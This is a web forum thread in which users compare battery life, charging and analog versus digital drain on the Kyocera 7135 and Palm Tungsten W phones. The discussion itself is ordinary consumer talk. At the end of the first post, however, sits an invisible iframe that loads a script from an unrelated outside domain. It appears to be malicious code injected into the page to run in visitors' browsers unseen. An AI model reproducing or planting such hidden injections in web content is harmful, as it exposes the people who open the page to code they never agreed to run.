I really wonder why Kyocera chose such a weak battery, especially since we know there are significantly stronger batteries out there. Take the Palm Tungsten W smartphone. It takes only 2 hours to fully charge, and it has a 10 hour talk time, and about three weeks standby time. We know these batteries exist.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>

you have to consider the kyo model has ben in production for a couple of years, no doubt using old technology, to keep costs down.

i agree the battery issue for cellphones is long overdue for an overhaul.

Lithium Ion is the best chemistry today for affodable devices.

7135:

CDMA Talk Time: Up to 3.5 hours.
• CDMA Standby Time: Up to 160 hours. Times may vary depending on user settings, feature use and network configurations.
• Battery Type: 1200 mAh user-replaceable, standard lithium ion (Lilon) battery

As you can see, the Times are better rated for the 7135, however, we all know these to be perfect scenarios. The same goes for the Tungsten. It's a Digital only device, so it's not subject to Analog drain, but the times you actually will see on the Tungsten W will be less the what it's rated. The Tungsten uses a Lithium Ion/Polymer battery, which isn't that much better.

The standby time could very well be pointing at Palm use only too. I can't find standy time ratings on the Tungsten to verify, but given it has less rated talk time then the 7135, the standby couldn't be more....

I don't think you will see a big difference in power performance between the two under similar useage patterns. But, at least the 7135 can have spares...just in case

I don't know if the 7135 can do this, but I have my i300 set so that it does not search for an analog signal when the digital signal drops out. This has made a huge difference in my i300's battery usage.

Well, you can set the 7135 to Digital only, but that won't really help you if you don't get into digital areas anyway. When the handset scans for service every so often, it takes no more power to look for a analog or a digital service. The power consumption really degrades when it aquires analog service and uses it.

For me, I never end up in Analog, so changing the setting won't do much for me.

Another thought that may actually make your battery life worse if you change it to Digital only would be that if you diable it's ability to aquire analog, and there are no digital systems available, the handset keeps searching and searching rather than finding a service and going idle. That may reduce your battery life I would think...

A number of Kyocera phones (including my current phone) can't charge the battery when the phone is in use. Does the 7135 have this same issue, or can it charge itself as long as it's plugged in?

when you make a call, the phone will stop charging and continue once you end the call...